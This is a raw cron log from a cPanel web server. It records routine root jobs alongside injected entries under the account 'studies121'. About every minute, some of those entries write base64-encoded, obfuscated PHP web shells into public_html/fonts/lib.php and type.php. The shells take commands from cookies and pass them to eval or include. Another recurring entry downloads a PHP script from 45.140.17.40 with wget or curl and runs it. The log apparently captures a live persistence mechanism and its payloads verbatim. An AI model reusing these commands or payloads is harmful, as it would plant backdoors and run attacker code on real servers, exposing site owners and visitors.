Sep  5 21:39:01 ip-184-168-122-23 CROND[29614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:40:01 ip-184-168-122-23 CROND[29870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:40:01 ip-184-168-122-23 CROND[29869]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 21:40:01 ip-184-168-122-23 CROND[29872]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:40:01 ip-184-168-122-23 CROND[29873]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 21:40:01 ip-184-168-122-23 CROND[29871]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 21:40:01 ip-184-168-122-23 CROND[29876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:40:01 ip-184-168-122-23 CROND[29874]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 21:40:01 ip-184-168-122-23 CROND[29875]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:41:01 ip-184-168-122-23 CROND[30215]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:41:01 ip-184-168-122-23 CROND[30216]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:41:01 ip-184-168-122-23 CROND[30218]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:41:01 ip-184-168-122-23 CROND[30217]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:42:01 ip-184-168-122-23 CROND[30317]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:42:01 ip-184-168-122-23 CROND[30320]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 21:42:01 ip-184-168-122-23 CROND[30319]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:42:01 ip-184-168-122-23 CROND[30322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:42:01 ip-184-168-122-23 CROND[30321]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:43:02 ip-184-168-122-23 CROND[30420]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:43:02 ip-184-168-122-23 CROND[30418]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:43:02 ip-184-168-122-23 CROND[30419]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:43:02 ip-184-168-122-23 CROND[30421]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:44:01 ip-184-168-122-23 CROND[30505]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:44:01 ip-184-168-122-23 CROND[30507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:44:01 ip-184-168-122-23 CROND[30509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:44:01 ip-184-168-122-23 CROND[30508]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 21:44:01 ip-184-168-122-23 CROND[30506]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:45:02 ip-184-168-122-23 CROND[30594]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:45:02 ip-184-168-122-23 CROND[30595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:45:02 ip-184-168-122-23 CROND[30597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:45:02 ip-184-168-122-23 CROND[30600]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:45:02 ip-184-168-122-23 CROND[30602]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 21:45:02 ip-184-168-122-23 CROND[30601]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 21:46:01 ip-184-168-122-23 CROND[30698]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 21:46:01 ip-184-168-122-23 CROND[30703]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  5 21:46:01 ip-184-168-122-23 CROND[30701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:46:01 ip-184-168-122-23 CROND[30702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:46:01 ip-184-168-122-23 CROND[30705]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 21:46:01 ip-184-168-122-23 CROND[30700]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:46:01 ip-184-168-122-23 CROND[30704]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:47:01 ip-184-168-122-23 CROND[30886]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:47:01 ip-184-168-122-23 CROND[30888]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:47:01 ip-184-168-122-23 CROND[30887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:47:01 ip-184-168-122-23 CROND[30889]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:48:01 ip-184-168-122-23 CROND[31033]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:48:01 ip-184-168-122-23 CROND[31034]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 21:48:01 ip-184-168-122-23 CROND[31035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:48:01 ip-184-168-122-23 CROND[31036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:48:01 ip-184-168-122-23 CROND[31037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:49:01 ip-184-168-122-23 CROND[31127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:49:01 ip-184-168-122-23 CROND[31129]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:49:01 ip-184-168-122-23 CROND[31128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:49:01 ip-184-168-122-23 CROND[31126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:50:01 ip-184-168-122-23 CROND[31219]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 21:50:01 ip-184-168-122-23 CROND[31221]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 21:50:01 ip-184-168-122-23 CROND[31222]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 21:50:01 ip-184-168-122-23 CROND[31223]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 21:50:01 ip-184-168-122-23 CROND[31224]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:50:01 ip-184-168-122-23 CROND[31225]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 21:50:01 ip-184-168-122-23 CROND[31226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:50:01 ip-184-168-122-23 CROND[31227]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:50:01 ip-184-168-122-23 CROND[31228]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:51:01 ip-184-168-122-23 CROND[31317]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:51:01 ip-184-168-122-23 CROND[31320]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:51:01 ip-184-168-122-23 CROND[31319]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
